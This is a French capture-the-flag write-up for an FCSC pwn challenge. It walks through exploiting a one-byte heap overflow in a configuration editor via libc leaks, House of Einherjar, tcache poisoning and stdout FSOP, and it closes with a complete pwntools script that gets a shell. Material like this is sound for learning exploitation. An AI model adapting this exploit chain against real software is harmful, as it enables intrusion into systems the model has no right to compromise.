Solution de tritrilemagnifique pour Éditeur de configuration

pwn x86/x64

28 avril 2025

📝 Challenge Description

Ce logiciel d’édition de configuration a quelques soucis… Saurez-vous en faire bon usage ?

Catégorie: 💥 Pwn
Difficulté: ⭐⭐⭐
Protections: Full RelRO, NX, Canary, PIE, Stripped

🚀 TL;DR

  • Exploiter un one-byte overflow dans la fonction de modification
  • Leak des adresses du tas et de la libc
  • Utilisation de la technique House of Einherjar pour corrompre la tcache
  • Tcache poisoning pour réécrire stdout (FSOP)
  • Exécution d’un shell via la technique peu connue obstack_overflow

🔍 Analyse du binaire

Le binaire est un simple éditeur de configuration présentant un menu avec différentes options:

  1. Importer une configuration
  2. Modifier des entrées (ajouter/supprimer/éditer)
  3. Quitter

C’est un menu qu’on retrouve dans les challenges Heap Based classique

Une ligne de configuration admet la structure suivante :

0x55555555a790  0x0000000000000000      0x0000000000000031      A.......1.......
0x55555555a7a0  0x000055555555a7f0      0x000055555555a7d0      ..UUUU....UUUU..
0x55555555a7b0  0x0000000000000011      0x000055555555a730      ........0.UUUU..
0x55555555a7c0  0x000055555555a810

addr_buffer_valeur      addr_buffer_clef
taille_valeur           addr_ligne_conf_fd
addr_ligne_conf_bk

En analysant le code, on découvre une vulnérabilité dans la fonction de modification : elle copie n+1 caractères au lieu de n, permettant un overflow d’un octet. Cette attaque est nommée Off-By-One Overflow. Pour les interressés il existe un document qui présente plusieurs attaques à mettre en place : “https://github.com/bash-c/slides/blob/master/pwn_heap/Glibc%20Adventures:%20The%20forgotten%20chunks.pdf"

La partie la plus intéressante réside dans la fonction de modification

...
if (buf[2] < new_lchunk[2]) {
new_ptr = realloc(*buf,(size_t)new_lchunk[2]);
*buf = new_ptr;
buf[2] = (void *)((long)new_lchunk[2] + 1);
}
memset(*buf,0,(long)new_lchunk[2] + 1);
memcpy(*buf,*new_lchunk,(size_t)new_lchunk[2]);
ret = 0;
...

Cette vulnérabilité d’un octet peut sembler minime, mais est suffisante pour exploiter ce binaire.

💻 Stratégie d’exploitation

1. 🔎 Leaks

Première étape: obtenir des adresses du tas et de la libc:

# Créer une configuration avec des chunks de tailles différentes
conf = b"elo=" + b"A"*0x500 + b"\nteam=BBBB\nname=" + b"C"*100 + b"\n" + b"level=G\n"
import_conf(conf)

# Libérer et réallouer des chunks pour obtenir des leaks
del_entry(b"name")
add_entry(b"name", b"\x00"*100)

# Récupérer l'adresse du tas
p.sendline(b"2")
p.recvuntil(b"name = ")
heap = (u64(p.recvline().rstrip().ljust(8,b"\x00")) << 12)
p.sendline(b"4")

# Même technique pour la libc
del_entry(b"elo")
add_entry(b"team", b"\x00"*0x500)
p.recvuntil(b"team = ")
libc.address = u64(p.recvline().rstrip().ljust(8,b"\x00")) - 0x21ace0

2. 🏗️ House of Einherjar

Pour résumer la technique du House of Einherjar : elle consiste à allouer 3 chunks (A, B, C) (+1 garde pour éviter la consolidation avec le top chunk). Le chunk B sera “pris en sandwich” entre le chunk A et C. C va se consolider avec A et va donc former un chunk dans l’unsorted bin qui va “recouvrir” le chunk B (chunk overlapping). Pour ce faire nous allons clear le champ prev_size et prev_inuse de C pour lui “faire croire” que le chunk précédent est A et va pouvoir fusionner avec. Ensuite On libère B pour pouvoir demander le chunk fusionné et pouvoir écrire sur le pointeur B->fd

Cette technique permet d’exploiter notre one-byte overflow pour créer un fake chunk et manipuler le tcache:

# Préparer le terrain avec des allocations spécifiques
conf = b"level=" + b"P"*0x500 + b"\n" + b"elo=" + b"O"*0x3f0 + b"\n" + b"team=" + b"V"*0x500 + b"\n"
import_conf(conf)

# Gérer la disposition des chunks sur le tas
add_entry(b"level", b"P"*0x500)
add_entry(b"name", b"Q"*0x3e0)
add_entry(b"elo", b"O"*0x3d0)
add_entry(b"team", b"A"*0x500)
add_entry(b"token", b"G"*0x400)

# Création d'un fake chunk en utilisant le one-byte overflow
# Modification progressive de "level" pour forger notre chunk
modify_entry(b"level",b"P"*0x18 + p64(heap))
# [autres modifications...]

3. ☠️ Tcache Poisoning

Une fois que nous avons corrompu la tcache, nous pouvons l’utiliser pour obtenir des écritures arbitraires :

# Provoquer la consolidation pour exploiter notre fake chunk
del_entry(b"name")
del_entry(b"team")

# À partir d'ici, nous pouvons allouer où nous voulons
# Lecture et écriture sur stdout
mangled_stack_leak = (stdout+0xe0) ^ ((heap+0x510) >> 12) # bypass du safe linking (voir : https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L349)

add_entry(b"name", cyclic_find("uaam")*b"P" + p64(mangled_stack_leak))

4. 📊 File Stream Oriented Programming (FSOP)

Nous allons réécrire la structure _IO_FILE de stdout pour détourner l’exécution. Cette technique est inspirée de l’article BabyFile: exploiting _IO_obstack_jumps

add_entry(b"team", p64(heap+0x11f0) + b"\x00"*(0x3e7-0x8))

# Construction d'une structure obstack pour notre payload
class obstack:
    chunkfun       = 56
    extra_arg      = 56+16
    use_extra_arg  = 56+16+8

# Configuration de notre structure obstack pour exécuter system("/bin/sh")
modify_entry(b"token", b"P"*obstack.extra_arg + p64(binsh))
modify_entry(b"token", b"P"*obstack.chunkfun + p64(system))

5. 🎯 Exécution

La dernière étape consiste à écraser la vtable de stdout pour pointer vers obstack_overflow-0x38 qui va utilser la “vtable” fournie dans notre fausse structure obstack. Lorsque “puts” va appeler “__GI__IO_file_xsputn” (__GI__IO_file_jumps+0x38), l’appel sera redirigé vers obstack_overflow executant alors toute la chaine d’exploit

mangled_stack_leak = (stdout+0xd0) ^ ((heap+0x8f0) >> 12)
add_entry(b"name", cyclic(n) + p64(mangled_stack_leak) + b"\x00"*(0x600-8-n))
add_entry(b"team", b"P"*0x8 + p64(obstack_overflow-0x38) + b"\x00"*(0x3d7-0x10))

Lorsque le programme essaie d’écrire sur stdout, notre payload est exécuté et nous obtenons un shell.

PS : j’ai rajouté du bruteforce car les offsets de la structure “tcache_pethread_struct” qui délimite le début du tas étaient randomizés à chaque exécution car le binaire était lancé sur un noyau durci

📋 Script d’exploitation complet

#!/usr/bin/env python3

from pwn import *
import time

elf = ELF("./editeur-de-configuration_patched")
libc = ELF("./libc.so.6")

context.binary = elf


def menu():
        p.recvuntil(b"> ")

def import_conf(config):
        menu()
        p.sendline(b"1")
        p.sendlineafter(b"> ",b"[PLAYER]")
        p.sendline(config)

def quit():
        menu()
        p.sendline(b"3")

def del_entry(entry):
        menu()
        p.sendline(b"2")
        menu()
        p.sendline(b"2")
        p.sendline(entry)
        menu()
        p.sendline(b"4")

def add_entry(entry, value):
        menu()
        p.sendline(b"2")
        menu()
        p.sendline(b"1")
        p.sendline(entry + b"=" + value)
        menu()
        p.sendline(b"4")

def modify_entry(entry, value):
        menu()
        p.sendline(b"2")
        menu()
        p.sendline(b"3")
        p.sendline(entry + b"=" + value)
        menu()
        p.sendline(b"4")

def exploit():
    global p
    p = remote("chall.fcsc.fr", 2103)

    # LEAKS
    conf = b"elo=" + b"A"*0x500 + b"\nteam=BBBB\nname=" + b"C"*100 + b"\n" + b"level=G\n"

    import_conf(conf)

    del_entry(b"name")

    add_entry(b"name", b"\x00"*100)

    p.sendline(b"2")
    p.recvuntil(b"name = ")
    heap = (u64(p.recvline().rstrip().ljust(8,b"\x00")) << 12)
    p.sendline(b"4")


    del_entry(b"elo")

    add_entry(b"team", b"\x00"*0x500)

    p.recvuntil(b"team = ")
    libc.address = u64(p.recvline().rstrip().ljust(8,b"\x00")) - 0x21ace0

    del_entry(b"name")
    del_entry(b"level")

    for i in range(2):
            del_entry(b"team")

    conf = b"level=" + b"P"*0x500 + b"\n" + b"elo=" + b"O"*0x3f0 + b"\n" + b"team=" + b"V"*0x500 + b"\n"
    import_conf(conf)

    # House of Einherjar Heap Feng Shui
    add_entry(b"level", b"P"*0x500)
    add_entry(b"name", b"Q"*0x3e0)
    add_entry(b"elo", b"O"*0x3d0)
    add_entry(b"team", b"A"*0x500)
    add_entry(b"token", b"G"*0x400)

    # Forging fake chunk
    for i in range(1,18):
            modify_entry(b"level",b"P"*(0x30-i))

    index = 0x1760
    heap = heap + index

    modify_entry(b"level",b"P"*(0x18+7))
    modify_entry(b"level",b"P"*0x18 + p64(heap))
    modify_entry(b"level",b"P"*(0x10+7))
    modify_entry(b"level",b"P"*0x10 + p64(heap))

    for i in range(1,9):
            modify_entry(b"level",b"P"*(0x10-i))

    modify_entry(b"level",b"P"*0x8 + p16(0xcd0))

    # clearing prev_inuse et setting prev_size
    modify_entry(b"elo",b"O"*0x3d8)

    for i in range(1,9):
            modify_entry(b"elo",b"O"*(0x3d8-i))

    modify_entry(b"elo",b"O"*0x3d0 + p16(0xcd0))

    # create valid chunk (nextchunk)
    for i in range(1, 8):
            modify_entry(b"team",b"A"*(0x500-i))

    # consolidation
    del_entry(b"name")
    del_entry(b"team")
    print("[*] Consolidation : OK")

    obstack_overflow = libc.address + 0x2173d8
    stdout = libc.symbols._IO_2_1_stdout_
    binsh = next(libc.search(b"/bin/sh"))
    system = libc.symbols.system

    print(hex(heap))
    print(hex(libc.address))

    mangled_stack_leak = (stdout+0xe0) ^ ((heap+0x510) >> 12)
    add_entry(b"name", cyclic_find("uaam")*b"P" + p64(mangled_stack_leak))

    add_entry(b"team", b"\x00"*0x3e7) # _

    add_entry(b"team", p64(heap+0x11f0) + b"\x00"*(0x3e7-0x8))
    print("[*] Overwritting stdout : OK")

    # OBSTACK FORGING
    class obstack:
        chunkfun       = 56
        extra_arg      = 56+16
        use_extra_arg  = 56+16+8

    for i in range(1, 9):
            modify_entry(b"token", b"P"*(obstack.use_extra_arg+8-i))

    modify_entry(b"token", b"P"*obstack.use_extra_arg + p8(True))

    for i in range(1, 9):
            modify_entry(b"token", b"P"*(obstack.use_extra_arg-i))

    modify_entry(b"token", b"P"*obstack.extra_arg + p64(binsh))
    modify_entry(b"token", b"D"*(7*8+7))
    modify_entry(b"token", b"P"*obstack.chunkfun + p64(system))

    print("[*] Creating Obstack Struct Chunk : OK")

    # replace vtable to trigger /bin/sh
    del_entry(b"elo")
    n=cyclic_find("vaahwaah")

    mangled_stack_leak = (stdout+0xd0) ^ ((heap+0x8f0) >> 12)
    n = cyclic_find("zaaibaai")

    add_entry(b"name", cyclic(n) + p64(mangled_stack_leak) + b"\x00"*(0x600-8-n))
    add_entry(b"team", b"\x00"*0x3d7) # _
    add_entry(b"team", b"P"*0x8 + p64(obstack_overflow-0x38) + b"\x00"*(0x3d7-0x10))
    print("[*] Overwritting stdout by system : OK")

    return True

for attempt in range(1, 4096):
    try:
        print(f"[*] Attempt {attempt}...")
        if exploit():
            print(f"[+] Exploit succeeded on attempt {attempt}!")
            p.interactive()
            break
    except Exception as e:
        print(f"[-] Attempt {attempt} failed: {e}")
        try:
            p.close()
        except:
            pass